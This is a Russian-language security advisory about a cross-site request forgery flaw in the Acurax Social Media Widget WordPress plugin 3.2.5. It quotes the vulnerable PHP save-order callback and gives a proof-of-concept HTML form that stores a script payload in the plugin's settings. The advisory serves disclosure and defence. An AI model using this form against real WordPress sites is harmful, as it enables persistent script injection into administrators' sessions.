WordPress Plugin Social Media Widget by Acurax 3.2.5 - Cross-Site Request Forgery | Немезида ВАФ

Плагин реализует действие AJAX `acx_asmw_saveorder`, которое вызывает функцию `acx_asmw_saveorder_callback`. Более поздняя версия не реализует никаких элементов
управления анти-CSRF, что позволяет злоумышленнику выполнить атаку, которая может обновить специальный параметр плагина `social_widget_icon_array_order`.

Уязвимым параметром является `$ _POST [‘recordsArray’]`, и он сохраняется как опция с именем `social_widget_icon_array_order`.

Использование CSRF может привести к постоянному XSS. Полезная нагрузка будет предоставляться, когда пользователь с правильными привилегиями посещает страницу настроек плагина (`wp-admin / admin.php? Page = Acurax-Social-Widget-Settings`).

Уязвимый код находится в файле `acurax-social-media-widget/function.php` line 993:

function acx_asmw_saveorder_callback() {
global $wpdb;
$social_widget_icon_array_order = $_POST['recordsArray'];
if ( current_user_can( 'manage_options' ) ) {
$social_widget_icon_array_order = serialize(
$social_widget_icon_array_order );
update_option( 'social_widget_icon_array_order',
$social_widget_icon_array_order );
echo "<div id='acurax_notice' align='center' style='width:
420px; font-family: arial; font-weight: normal; font-size: 22px;'>";
echo "Social Media Icon's Order Saved";
echo "</div><br>";
}
die(); // this is required to return a proper result
}

add_action( 'wp_ajax_acx_asmw_saveorder', 'acx_asmw_saveorder_callback' );

Используется уязвимость CSRF для выполнения постоянной атаки XSS. Полезная нагрузка доступна в настройках плагина.

<pre class="lang:html decode:true "><form method="post" action="http://vuln.test/wp-admin/admin-ajax.php">
<input type="hidden" name="action" value="acx_asmw_saveorder">
<input type="text" name="recordsArray[]" value="1'><script>alert(1);</script>">
<button type="submit" value="Submit">Submit</button>
</form>